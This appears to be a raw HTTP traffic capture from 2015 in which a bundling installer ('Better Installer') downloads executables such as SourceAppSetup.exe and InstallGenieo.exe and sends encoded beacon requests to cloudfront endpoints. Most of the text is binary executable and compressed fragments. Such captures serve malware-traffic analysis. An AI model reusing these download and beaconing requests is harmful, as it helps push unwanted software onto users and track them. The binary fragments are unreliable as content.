.N..<....N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N.
.PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...
N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL.
..N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..P
L...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N.H..h.......:....
.....4.C.A..rM8L.Q..D../......_,..b.9.......OnKA.zj\,.....b.8mW...'...
.u.~?..5../...i........x.....7.._...dL.W....^...t..../.....Y.....<.
.....$E..........L.p.z.s.R.....:...([email protected]..|. ..0.1.n..F...]..
?..c.<"...f.............2r.....o..h`..t#..*..0D*..1..xLL.....5.q...
&..Fj..L...3..!Ltc.n..\"*4....y....h7 ....y /.......&...F.V VU.....`..
}.....2..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..
F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F.
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=178475-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 107083
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 178475-285557/285558
Age: 225
X-Cache: Hit from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: qbf3gauxT5hfv8DXmkbH4AULCr5lm2n8KusYn3-s3PpttAjOm8Bw7A==
w.N>.Pq..A)...[N......B.x../.>[email protected]..
N.Z......j..&...h....A.hO..\....'.....sj.`.....H.S.|.s=.......I.)L>
...c....i.>.....G.u..H.D....P......qC0<.(...m..y.dm.\1N.m...v.T`
- .Ss. .G2..rk.......N{[email protected].......}......6P$....2
.52..!.x....L.R. [email protected],.].\...a..........k
.....A.....P....u`..I.///....b~.y..^...P...z..p..:.d.....R.4....U. ...
../.M]..~.........(...... y.).. ..In.I.)..ua.*..N!Q.......1.e..b)F5...
x.bS..f..|q.H..K...V.`.^...x!Su4_"?...uc.tY.m...%....r..be.z. ....0.^.
....]y........)... .u_/..V..6).v..\.7n-z.q.............Y.w.oBk..f..}..
[email protected]. .*.b.;..).....|.\@c..)......H.P..;......!"...gN.......9W..
.. ......NJJJ....N|..)T..aU..1....5~.G...=d.m..Qfl..?.yO|e...`.sXm$Op;
."p................t=V.........Q....f.r0.........i...M......E....Y.../
....N.7/.;.....|..R...(./.4..{)..~.M....).......f.w...6.^.0TB...H..c..
.....^-a.G`0ub..|a;.C..T.<..N/......^..>."....f..$..d.=.X0..x4R.
..W...=.....`..w.$\a/.~R.~<.....jS.q.es....-.....#W#.D.4H...tw...&.
A.w/...t...[H"D....9E].....A....B<D.7[.2.3.!.......P.......R..R._.I
...y........([email protected].\D.k.2....3..".".......
.p...?_X.........$v.....,......\.V..EV.G...........Z.DO....B..V...%.D.
...].n..`...H.!..=<.. Y.*l..].j.u.d.o.M.i...>..m........$K..@...
..]~.H.z.p.O.?.i.&.U.....U."<..o.S#..x.....s..g.[.....A.6~'-.1D....
....`Pim2....;.xsV2.'7.#..jlW.1-..4......h ..~...oV..."...]|..i=.....V
(.....e..!..EU.d....ui..9).....^P.o.g..e..H.1x.....\.#..D....G.w.p
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=510272-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 04:01:08 GMT
Date: Sat, 14 Feb 2015 04:01:08 GMT
Content-Range: bytes 510272-583167/583168
Content-Length: 72896
Connection: keep-alive
.&f...#t....p.[[email protected]=M.....s..r52.....,...F
......M{.*[email protected]...]A...._......J.V....W..sD . ......:...#<q
s...Z...).....`..J..B....O.'....i...9.=D.....mxw..0l..(. ..E...ok.....
h.z@.%....p...I..F..-....}2.....B.b<....Ryt.t..9..^Ut.P..A..D7s.y6_
M.dR.s..."`..~....w.O...P....i...w..p...=." !...}.|...&~...R.._p0.i...
vH.....4,7.0*.....F.y..".....p|........Tw MD....Wv.d. .s../...C..Y.V1.
v.uT20.">)..]..........p[.. .B.....O.3..mF7.IU.S.nZ.....K..r.t.Nl..
....a.t..p...^...{.....u.)j."......;..?]."..d.cp...Y#Q..........a.....
......6.....F\%....4&-(...Pp....1......~...E4.)...#.. ..............3.
........./..mn....9~...ZX.....O.\..^^N.O.(...* ..<SR..X...[.'......
.&.o...SS........?..........{/..&Q..}nb?..j..o..]4....`N.......}T.)...
Mmm.Le.I.. 5.i....!Ll...i .3......S.............&.%..i{.....X.LK..7.:.
E*;3<.L1.....4....B"%..>..U.(.Y..4~...p.....0.&. 5B....X.3..?...
...r..Q.=...v,.........t..x...[~c....-.*.0..jYL.{...fi...L|$z:..;.M...
.6e.eV.&..........W..y.D..2l.<....;}.....I..nSD...F......1..M.{.O..
 !....>..3.5<[email protected].#.]de`-.=#...
q..-[&.`&.X.*.#l.?#[email protected]?m......!.@.. ..<.7...I.<O..@}.i....
1..........H].q.Ir{l).I..u1...E...!;M.e=........|[email protected]..<........
..7.qW....!..~.J.1.......m..........Fp..N./.S....Q.p)......_..c...'..R
F.I.........U..A0}.l.u.T.......@..........>...b........y.b..v....r.
.8.}.j...a.r^)X~e....A.A..T..$...k..c.~......&K....OW..t*n...B=. .....
.I.O....E.$`%......0.e.9..K...fbw.vy..6..#JG....z.......w.........
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=364480-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:58:15 GMT
Date: Sat, 14 Feb 2015 03:58:15 GMT
Content-Range: bytes 364480-583167/583168
Content-Length: 218688
Connection: keep-alive
........j....Rm.`.>A.......3.M)....:..&;6..a..L.......I..Y.....&.-U
[.5.....t:w...5W..j.]bS.^...)..3`.......QK....1....8...A..V.].%..Aqu.Y
.n6.|xJ...*...O .Hi.!..b-.j......X.G.X..b.K5.._....}..~.'.....#..x6@..
'J...x}.A....T^.y.....f. ...e1h.]..A...1..2..K....t.`.mN..|..J.3.k..s.
.....6.`.`3.]#^........!.6..-...g..W<..CT()K......._FR..MtGd{..eT.#
o..*4PKQ.Sb.n./q.cQ>.).o1..V-.jg..\/..h.}x....m..I....o^~.TMk..p..)
8..... .....\/.kM....Z7.."..d"..P....].. ........K..u..:.....v.d......
..*..Zyr..:..vA@.{Ru.g......v.....:L..F..17..!e*i.d.b.?<B9B\O.....U
.#..^s..c/u......._k......%...%...B{".....<......''..'...?...N.....
erW.`.........2.(U.e....9(.{,.\.....a^e.C`X....*...6.%x.HF...z.i..F}?.
3......rr\.....A..}.[..%..H.b...14..M..3...ljTG.9.1....t...YRy.-.v.34.
[email protected]...,...............(..x......t)g..%.F
m.& ......U.:.........=..l4.......6........=f/.o...k. bY..YL....$a8.".
....));._...J.......'H'~.....x.[4..i.>Lwe=Tx.V...K.......6...lK..O.
.!.W.w...q..$31m.....z@<y-<.........&...N..s\4h.3.R..Y........F.
...Ze.KKv..........N..*1|K.\l.>..........I..........0k.U..q..!=.\..
.O.......N.gK..C.IPw.}E...2..4r...,kJ... .B.]c.."....q.'.P.*...$l..u.@
......q..&.X}...(.!.......T....tK..gc.0.a.<.J.....6c.)\.........b..
.o.'..A..k'.....M....?.!m..Y65........w..-.......=.CO.`...RR..w.=.9G..
{8]..j..MXJ<..OU....|...'......m,..e..o:..............)".....V.....
..*....e..: ........i..iz|.U..8 U...f...,.&...V...Cm.'.>/.9(..<k
.B.'A,./...V?8z....3.E...H...[.....{.T...pg..^9Ic..X5....N.....$W.
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: ULqmJcNwklaCfZM6WKX0mmP7AlFmf/w1Rq4GJ CLUHNcNxjlRDmG7ePYLgKmcGxp
x-amz-request-id: 25433351C5AE3CE7
Date: Sat, 14 Feb 2015 03:58:18 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Type: application/octet-stream
Content-Length: 988408
Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:56:59 GMT
Date: Sat, 14 Feb 2015 03:56:59 GMT
Content-Range: bytes 0-583167/583168
Content-Length: 583168
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.................................................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /t.ashx?e=/k6kR j50tqrESd40BFHqYxXl6h7wlTh/9kBvUGgBK38ln8Iap23//2TEkHeJNDU9z6MsirOygBgF1NDvTU5XmUl0xzv/1Q1GxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3BQ8MIYMfS0viLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1vw44q53d84jx.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:57:58 GMT
X-Cache: Miss from cloudfront
Via: 1.1 8cd0e1b054d4e5083057646da4909e74.cloudfront.net (CloudFront)
X-Amz-Cf-Id: -zv2jkWwBDzwr-IeG9yVav4qsiUEFEy4uJM6M8_HrQjMKIR2Xghfaw==
abfgshdgfjhsk....


GET /t.ashx?e=/k6kR j50tqrESd40BFHqYxXl6h7wlTh/9kBvUGgBK38ln8Iap23//2TEkHeJNDU9z6MsirOygBgF1NDvTU5XmUl0xzv/1Q1GxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3BQ8MIYMfS0viLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1vw44q53d84jx.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:57:58 GMT
X-Cache: Miss from cloudfront
Via: 1.1 8cd0e1b054d4e5083057646da4909e74.cloudfront.net (CloudFront)
X-Amz-Cf-Id: g5jF_Pyf03JgxFE23UUSxSR4PiLZG8Y-1z4gSP-28ypzo51eZHYqVQ==
abfgshdgfjhsk....


GET /t.ashx?e=/k6kR j50tqrESd40BFHqYxXl6h7wlTh/9kBvUGgBK38ln8Iap23//2TEkHeJNDU9z6MsirOygBgF1NDvTU5XmUl0xzv/1Q1GxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3BQ8MIYMfS0viLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1vw44q53d84jx.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:57:58 GMT
X-Cache: Miss from cloudfront
Via: 1.1 8cd0e1b054d4e5083057646da4909e74.cloudfront.net (CloudFront)
X-Amz-Cf-Id: _7IGlCi2JsbOPM6dSVVi3xQrqe4JJgnv_Rfp-N7TpajEL3IIyx8btA==
abfgshdgfjhskHTTP/1.1 200 OK..Content-Type: text/html; charset=utf-8..
Content-Length: 13..Connection: keep-alive..Cache-Control: private,no-
cache, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.0.5072
7..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 2015 03:57:58 GMT..X-Cache
: Miss from cloudfront..Via: 1.1 8cd0e1b054d4e5083057646da4909e74.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: _7IGlCi2JsbOPM6dSVVi3xQrqe4JJgnv
_Rfp-N7TpajEL3IIyx8btA==..abfgshdgfjhsk..



GET /sd?is=sm HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Cache-Control: no-cache


HTTP/1.1 200 OK
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Content-Length: 583168
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 04:01:08 GMT
Date: Sat, 14 Feb 2015 04:01:08 GMT
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.................................................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: CXnpgOZS1l2Vw9VwwHFocMVx6iRYI4etTpimtEDy88fAnTcZd9 e2FFmXpQ3NX/4
x-amz-request-id: D33006026BCF5D22
Date: Sat, 14 Feb 2015 03:58:20 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 0-988407/988408
Content-Type: application/octet-stream
Content-Length: 988408
Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:57:00 GMT
Content-Type: application/octet-stream
Content-Length: 1110476
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /js/jquery-1.8.3.min.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: VVV.youtubeaccelerator.com
DNT: 1
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=epzieoysgq4zjz4kqsejb0jl


HTTP/1.1 200 OK
Content-Type: application/x-javascript
Content-Encoding: gzip
Last-Modified: Tue, 10 Jun 2014 08:53:05 GMT
Accept-Ranges: bytes
ETag: "806e96648984cf1:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:59:19 GMT
Content-Length: 33537
.............v.F./..^.....V..EIN...P0....3...=.d(:."A.1.0.(Y.._..q....
._Uw....g...L,....................."]U./.E.?.........o.['......?._...;
...|y.1/yqy.H.IV&........u6..<..U.w...W?.......~.'..n;,.j]d...$.^..
.\-.....SE..U.l..N......o.M..]:..(....d......*..Si,..Y\.G^?...j.O.....
..z.....o..i\&~0,.dp.TO..H/.U....*...|~@mx%}..=.Qq{WDh...u..z'!...E..S
y....7..._.=...Q........".].VqQ&..}..^.b;. ..2..^..s=.mB.S'.......o...
.y.W.iv...T..j.....i.|..n__..L ?.W. ..Y.f..G..xr.......n.....T~pg....I
vr. tO.'.M/....zE....o..sj. ..Y~.D.....`.O.5.a..H%u.9.f8.....#.\.00V..
[email protected]).5.....|.B.I..S\..r..M.QG5u%.I...J....<]T..
.u....*r...gu..-{R..-/...D:_....7......x..hsM.$..g.t....Q.........|. 1
.....$.....g...W~`W!......;?..u....w...xI5...../^..l.......o..0=l..8#}
.[i,;@...zp...x....bNh..T.4.....Tn_*U.j.....=......ER%.9.......g`O...{
}....NT...W.I..g.....k)4.g3j&S.3.&.6g.sx....%.X.l.w[%I.._.!.P.;.7#.i[$
qa.hyx....*.,..2ifk%a..H...5.6}...36.F...HhH. .*.o...=..}....\.VyQ....
....<c<.f.d9<....,....p..5r..A.=I..."D.\.>..P.z6K..zQ=.J..
...h....D.q./...D..A~2)..|...F...<.....x.S..m6.R.....(.s.CW..J..I..
..r.-<p......E....e..F [email protected]_......&Dd.y.d.hW
.......{.r.Z GcM.Kg......\ g...l{^o........q4..i.A;........w...#.=:...
]5N'}.u.&:....0 ....~Z..R.,%...z.S(....,P.q..m,Hg]]./...:....h'....q .
ay..K.=w.......e...]$..A_,..../f.s...=d8<......6.O....f7;e.I.......
.*4.&....U.U.V.Kw.....S]..I.A....A..V..........=.l</.r.]....(......
l2.3.........,....*...#?#.)..~1~..W.....0.:k..../F.E^.......Hy....
<<< skipped >>>


GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?de5b477e37d74a8b HTTP/1.1
Connection: Keep-Alive
Accept: */*
If-Modified-Since: Thu, 03 Jul 2014 23:34:12 GMT
If-None-Match: "0b2464b1797cf1:0"
User-Agent: Microsoft-CryptoAPI/6.1
Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified
Content-Type: application/octet-stream
Last-Modified: Thu, 03 Jul 2014 23:34:12 GMT
ETag: "0b2464b1797cf1:0"
Cache-Control: max-age=86400
Date: Sat, 14 Feb 2015 03:59:21 GMT
Connection: keep-alive
HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Thu, 03 Jul 2014 23:34:12 GMT..ETag: "0b2464b1797cf1:0"..C
ache-Control: max-age=86400..Date: Sat, 14 Feb 2015 03:59:21 GMT..Conn
ection: keep-alive..



GET /21074.ashx?e=A3ANzFv7fWAfyhErKivT9R0A8JFzEu3PUDc7yLpb7yGMDmRWpWBZ0CAvELRpepitAn5VjwTD4wapVuBneuOiaiazLFSkfv6pWLazpewXw1jSN3ZRr1JhaATxIUcsgQ wP4sPieL6LVh0ElnmuIhy xrlcXqCG0Rt2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:57:56 GMT
X-Cache: Miss from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: cDvuRolYyMqO5T9D7xeSuFeAkDOqu5F3KXvJT7EmcuhFM4TXNmux-w==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 2015 03:57:56 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263
c3.cloudfront.net (CloudFront)..X-Amz-Cf-Id: cDvuRolYyMqO5T9D7xeSuFeAk
DOqu5F3KXvJT7EmcuhFM4TXNmux-w==......


GET /21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilH62FRv14q4TwTxIUcsgQ w9jOlNWXvBhRc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9tkSry2La0pAsbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sffLvMskXURCzrc1AUpN3cv8q3zHqQRjik21pePrvX0eh8Donn6 l9Ew= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:57:57 GMT
X-Cache: Miss from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 3kopsO49vr9_OQYyBEDZFVOnnWjTeHPW3dvpUjtLhINpNeYW6JUznw==
....


GET /21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilFJrxsBNiLaIoQ/YD6Ylfh4s IILilpWF3SrJmHujm63ABluAeShdF9xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98u8yyRdRELOtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HwOiefr6X0TA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:08 GMT
X-Cache: Miss from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 2AkqoGyqtdq_6CE09feHhdm_czajGaLWE0L5OYZC8EgJ4Bfey1HBeg==
....


GET /21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilGUdFrhJe3WxdJDpDz//pXKbvHgH1rDiuWSzoZuyojt PDCkamWPkwR nZ49x ZwAb3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyyJaNYNsM7TWeXVGwxO6WJTGfUAa7iw46Ynx1L6FK423hxG3lK6xuJY HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
